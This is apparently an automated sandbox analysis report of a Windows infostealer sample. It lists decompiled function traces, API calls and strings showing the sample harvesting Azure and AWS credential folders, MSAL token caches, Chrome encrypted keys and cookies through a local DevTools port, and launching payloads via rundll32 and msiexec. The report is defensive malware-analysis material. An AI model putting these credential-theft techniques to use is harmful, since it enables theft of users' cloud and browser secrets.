Part of subcall function 00EAC920: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00EAC971
Part of subcall function 00EAC920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00EAC97C

StrStrA.SHLWAPI(?,01BFE960,00000000,?,00EC1554,00000000,?,00000000,01BF9E58), ref: 00EACE5A
StrStrA.SHLWAPI(00000000,01BF9F38), ref: 00EACE71

Part of subcall function 00EAC920: lstrcat.KERNEL32(?,00EC0B47), ref: 00EACA43
Part of subcall function 00EAC920: lstrcat.KERNEL32(?,00EC0B4B), ref: 00EACA57
Part of subcall function 00EAC920: lstrcat.KERNEL32(?,00EC0B4E), ref: 00EACA78

lstrlen.KERNEL32(00000000), ref: 00EACF44
CloseHandle.KERNEL32(00000000), ref: 00EACF9C

Strings

, xrefs: 00EACAC6

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: d3529ebbdd51fbcf344bcee94f3eb4165767975e368291b2b3f8f529c21d98ab
Instruction ID: 3f003288d0440d76264c2ebc406583a6959adc6307889de340d115c697d09c4e
Opcode Fuzzy Hash: d3529ebbdd51fbcf344bcee94f3eb4165767975e368291b2b3f8f529c21d98ab
Instruction Fuzzy Hash: F8E1E771910108ABCF18EBA4DDA6FEFB7B9AF14300F4451B9F11676191EE306A89CF61

Function 00EB84B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

RegOpenKeyExA.ADVAPI32(00000000,01BFC4C8,00000000,00020019,00000000,00EC05BE), ref: 00EB8534
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00EB85B6
wsprintfA.USER32 ref: 00EB85E9
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00EB860B
RegCloseKey.ADVAPI32(00000000), ref: 00EB861C
RegCloseKey.ADVAPI32(00000000), ref: 00EB8629

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

Strings

%s\%s, xrefs: 00EB85DD
- , xrefs: 00EB8733
?, xrefs: 00EB850A

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 12def01459e266ffa55aa1b32fc92e4dea5ce9a827336e1f253dafaa6df8ab5f
Instruction ID: 43d0484471bddf9d2b316c68b97252f63d04772b37d53f1420629f9f5dcdcd8b
Opcode Fuzzy Hash: 12def01459e266ffa55aa1b32fc92e4dea5ce9a827336e1f253dafaa6df8ab5f
Instruction Fuzzy Hash: 17810B71911118ABDB28DB54CD95FEAB7B8BF48704F1492E9E119B6280DF706F84CFA0

Function 00EB91A0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00EB91FC

Strings

`d, xrefs: 00EB9361, 00EB93D9, 00EB930E, 00EB92DF, 00EB92B2, 00EB920D, 00EB91E4, 00EB9364
`d, xrefs: 00EB91CF, 00EB9399, 00EB91D2, 00EB939C
image/jpeg, xrefs: 00EB92C6

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: `d$`d$image/jpeg
API String ID: 2244384528-3402243820
Opcode ID: 647e95faa5f57377e68cb28d3000940deef02f3f59dbe951a209f139e508d5d5
Instruction ID: e76a9d72b8ae9767978935b09556d5adab06d60b1e7acd5346c07fbe703c993a
Opcode Fuzzy Hash: 647e95faa5f57377e68cb28d3000940deef02f3f59dbe951a209f139e508d5d5
Instruction Fuzzy Hash: 0971F175910208ABDB14DFE4DC89FDEB7B9BF48300F108558F625B7294DB34A944CB60

Function 00EB4FC0 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EB8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EB8F9B

lstrcat.KERNEL32(?,00000000), ref: 00EB5000
lstrcat.KERNEL32(?,\.azure\), ref: 00EB501D

Part of subcall function 00EB4B60: wsprintfA.USER32 ref: 00EB4B7C
Part of subcall function 00EB4B60: FindFirstFileA.KERNEL32(?,?), ref: 00EB4B93

lstrcat.KERNEL32(?,00000000), ref: 00EB508C
lstrcat.KERNEL32(?,\.aws\), ref: 00EB50A9

Part of subcall function 00EB4B60: StrCmpCA.SHLWAPI(?,00EC0FC4), ref: 00EB4BC1
Part of subcall function 00EB4B60: StrCmpCA.SHLWAPI(?,00EC0FC8), ref: 00EB4BD7
Part of subcall function 00EB4B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00EB4DCD
Part of subcall function 00EB4B60: FindClose.KERNEL32(000000FF), ref: 00EB4DE2

lstrcat.KERNEL32(?,00000000), ref: 00EB5118
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00EB5135

Part of subcall function 00EB4B60: wsprintfA.USER32 ref: 00EB4C00
Part of subcall function 00EB4B60: StrCmpCA.SHLWAPI(?,00EC08D3), ref: 00EB4C15
Part of subcall function 00EB4B60: wsprintfA.USER32 ref: 00EB4C32
Part of subcall function 00EB4B60: PathMatchSpecA.SHLWAPI(?,?), ref: 00EB4C6E
Part of subcall function 00EB4B60: lstrcat.KERNEL32(?,01BFF750), ref: 00EB4C9A
Part of subcall function 00EB4B60: lstrcat.KERNEL32(?,00EC0FE0), ref: 00EB4CAC
Part of subcall function 00EB4B60: lstrcat.KERNEL32(?,?), ref: 00EB4CC0
Part of subcall function 00EB4B60: lstrcat.KERNEL32(?,00EC0FE4), ref: 00EB4CD2
Part of subcall function 00EB4B60: lstrcat.KERNEL32(?,?), ref: 00EB4CE6
Part of subcall function 00EB4B60: CopyFileA.KERNEL32(?,?,00000001), ref: 00EB4CFC
Part of subcall function 00EB4B60: DeleteFileA.KERNEL32(?), ref: 00EB4D81

Strings

*.*, xrefs: 00EB50B4
\.IdentityService\, xrefs: 00EB5129
Azure\.IdentityService, xrefs: 00EB513B
Azure\.aws, xrefs: 00EB50AF
msal.cache, xrefs: 00EB5140
Azure\.azure, xrefs: 00EB5023
\.aws\, xrefs: 00EB509D
*.*, xrefs: 00EB5028
\.azure\, xrefs: 00EB5011

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 0c3f7e583821b424cc5a5eb138238ce47ba36deb2170b03a584f687e5923be2a
Instruction ID: 5e8d2616522867eeabf728b959d373fa7c9007fcb44876a6acf1036a7d65aa3f
Opcode Fuzzy Hash: 0c3f7e583821b424cc5a5eb138238ce47ba36deb2170b03a584f687e5923be2a
Instruction Fuzzy Hash: B541F8BAA4030867DF24E770ED87FDD73785B55700F0054A8B255751C2EEB5A7C88B92

Function 00EB3080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

ShellExecuteEx.SHELL32(0000003C), ref: 00EB3415
ShellExecuteEx.SHELL32(0000003C), ref: 00EB35AD
ShellExecuteEx.SHELL32(0000003C), ref: 00EB373A

Strings

<, xrefs: 00EB36E0
/i ", xrefs: 00EB3634
.dll, xrefs: 00EB3435
C:\Windows\system32\msiexec.exe, xrefs: 00EB370F
/passive, xrefs: 00EB36AB
C:\Windows\system32\rundll32.exe, xrefs: 00EB3582
"" , xrefs: 00EB32EA
.msi, xrefs: 00EB35E8

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 4aeaf9404637ebea17ff7bbeb6fd7602c752b6b780b989b080de83534ec4ba7f
Instruction ID: 5518dc7ce89b5a84b1cb09b8b2dc835de47e7955c215a6a2d2b9c879364c94db
Opcode Fuzzy Hash: 4aeaf9404637ebea17ff7bbeb6fd7602c752b6b780b989b080de83534ec4ba7f
Instruction Fuzzy Hash: 68120E71910118AACF18EBA0DDA2FEFB7B9AF14300F4855B9E11676191EF342B49CF61

Function 00EA9BE0 Relevance: 19.6, APIs: 8, Strings: 5, Instructions: 146stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA9A50: InternetOpenA.WININET(00EC0AF6,00000001,00000000,00000000,00000000), ref: 00EA9A6A

lstrcat.KERNEL32(?,cookies), ref: 00EA9CAF
lstrcat.KERNEL32(?,00EC12C4), ref: 00EA9CC1
lstrcat.KERNEL32(?,?), ref: 00EA9CD5
lstrcat.KERNEL32(?,00EC12C8), ref: 00EA9CE7
lstrcat.KERNEL32(?,?), ref: 00EA9CFB
lstrcat.KERNEL32(?,.txt), ref: 00EA9D0D
lstrlen.KERNEL32(00000000), ref: 00EA9D17
lstrlen.KERNEL32(00000000), ref: 00EA9D26

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Strings

localhost, xrefs: 00EA9BF5
ws://localhost:9229, xrefs: 00EA9C3C
/devtools, xrefs: 00EA9C0B
cookies, xrefs: 00EA9CA3
.txt, xrefs: 00EA9D01

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$InternetOpenlstrcpy
String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
API String ID: 3174675846-3542011879
Opcode ID: 8d2059200e5b008cabc469b170bd97890724cbb47b107798c2f7c1997acf54b9
Instruction ID: 2e1546502eeba4f4a5f281726872433ff57d0d4c0edd3b76e5292f40bad9d3ed
Opcode Fuzzy Hash: 8d2059200e5b008cabc469b170bd97890724cbb47b107798c2f7c1997acf54b9
Instruction Fuzzy Hash: 0951A0B5D10208ABDB14EBE0DC95FEE7778AB05301F0055A8F215BB191EF71AA89CF61

Function 00EB5510 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00EBAAF6

Part of subcall function 00EA62D0: InternetOpenA.WININET(00EC0DFF,00000001,00000000,00000000,00000000), ref: 00EA6331
Part of subcall function 00EA62D0: StrCmpCA.SHLWAPI(?,01BFF7D0), ref: 00EA6353
Part of subcall function 00EA62D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EA6385
Part of subcall function 00EA62D0: HttpOpenRequestA.WININET(00000000,GET,?,01BFF220,00000000,00000000,00400100,00000000), ref: 00EA63D5
Part of subcall function 00EA62D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EA640F
Part of subcall function 00EA62D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EA6421

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00EB5568
lstrlen.KERNEL32(00000000), ref: 00EB557F

Part of subcall function 00EB8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EB8FE2

StrStrA.SHLWAPI(00000000,00000000), ref: 00EB55B4
lstrlen.KERNEL32(00000000), ref: 00EB55D3
lstrlen.KERNEL32(00000000), ref: 00EB55FE

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Strings

ERROR, xrefs: 00EB56BF
ERROR, xrefs: 00EB555A
ERROR, xrefs: 00EB56F9
ERROR, xrefs: 00EB5609
ERROR, xrefs: 00EB5682

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: ddde8a4662bf9ddcfd553e0d7154a11ce23679887dc418795f9becc061be8a60
Instruction ID: 409a07b50a1677f009d1c4e02515cf0173c999e521081058b7acfadc305fd273
Opcode Fuzzy Hash: ddde8a4662bf9ddcfd553e0d7154a11ce23679887dc418795f9becc061be8a60
Instruction Fuzzy Hash: 4A51D930A10108ABCF18FF60D9A7BEE77B9AF15340F546478E4167A592EB306B45CB62

Function 00EB1520 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 7e2396d419d554e163d353816a1365e9204311d60181ecc14e527185196d601d
Instruction ID: f62cbf6b1840e345701933592a2fedac43b2a07b45449066687df5277224f892
Opcode Fuzzy Hash: 7e2396d419d554e163d353816a1365e9204311d60181ecc14e527185196d601d
Instruction Fuzzy Hash: 47C195B5900219ABCF18EF60DC9AFEF73B9AF54304F0455E8E51977242DA70AA84CF91

Function 00EB44D0 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EB8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EB8F9B

lstrcat.KERNEL32(?,00000000), ref: 00EB453C
lstrcat.KERNEL32(?,01BFF130), ref: 00EB455B
lstrcat.KERNEL32(?,?), ref: 00EB456F
lstrcat.KERNEL32(?,01BFE4B0), ref: 00EB4583

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EB8F20: GetFileAttributesA.KERNEL32(00000000,?,00EA1B94,?,?,00EC577C,?,?,00EC0E22), ref: 00EB8F2F

Part of subcall function 00EAA430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00EAA489

Part of subcall function 00EAA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EAA13C
Part of subcall function 00EAA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EAA161
Part of subcall function 00EAA110: LocalAlloc.KERNEL32(00000040,?), ref: 00EAA181
Part of subcall function 00EAA110: ReadFile.KERNEL32(000000FF,?,00000000,00EA148F,00000000), ref: 00EAA1AA
Part of subcall function 00EAA110: LocalFree.KERNEL32(00EA148F), ref: 00EAA1E0
Part of subcall function 00EAA110: CloseHandle.KERNEL32(000000FF), ref: 00EAA1EA

Part of subcall function 00EB9550: GlobalAlloc.KERNEL32(00000000,-F,00EB462D), ref: 00EB9563

StrStrA.SHLWAPI(?,01BFF148), ref: 00EB4643
GlobalFree.KERNEL32(?), ref: 00EB4762

Part of subcall function 00EAA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O,00000000,00000000), ref: 00EAA23F
Part of subcall function 00EAA210: LocalAlloc.KERNEL32(00000040,?,?,?,00EA4F3E,00000000,?), ref: 00EAA251
Part of subcall function 00EAA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O,00000000,00000000), ref: 00EAA27A
Part of subcall function 00EAA210: LocalFree.KERNEL32(?,?,?,?,00EA4F3E,00000000,?), ref: 00EAA28F

lstrcat.KERNEL32(?,00000000), ref: 00EB46F3
StrCmpCA.SHLWAPI(?,00EC08D2), ref: 00EB4710
lstrcat.KERNEL32(00000000,00000000), ref: 00EB4722
lstrcat.KERNEL32(00000000,?), ref: 00EB4735
lstrcat.KERNEL32(00000000,00EC0FA0), ref: 00EB4744

Memory Dump Source

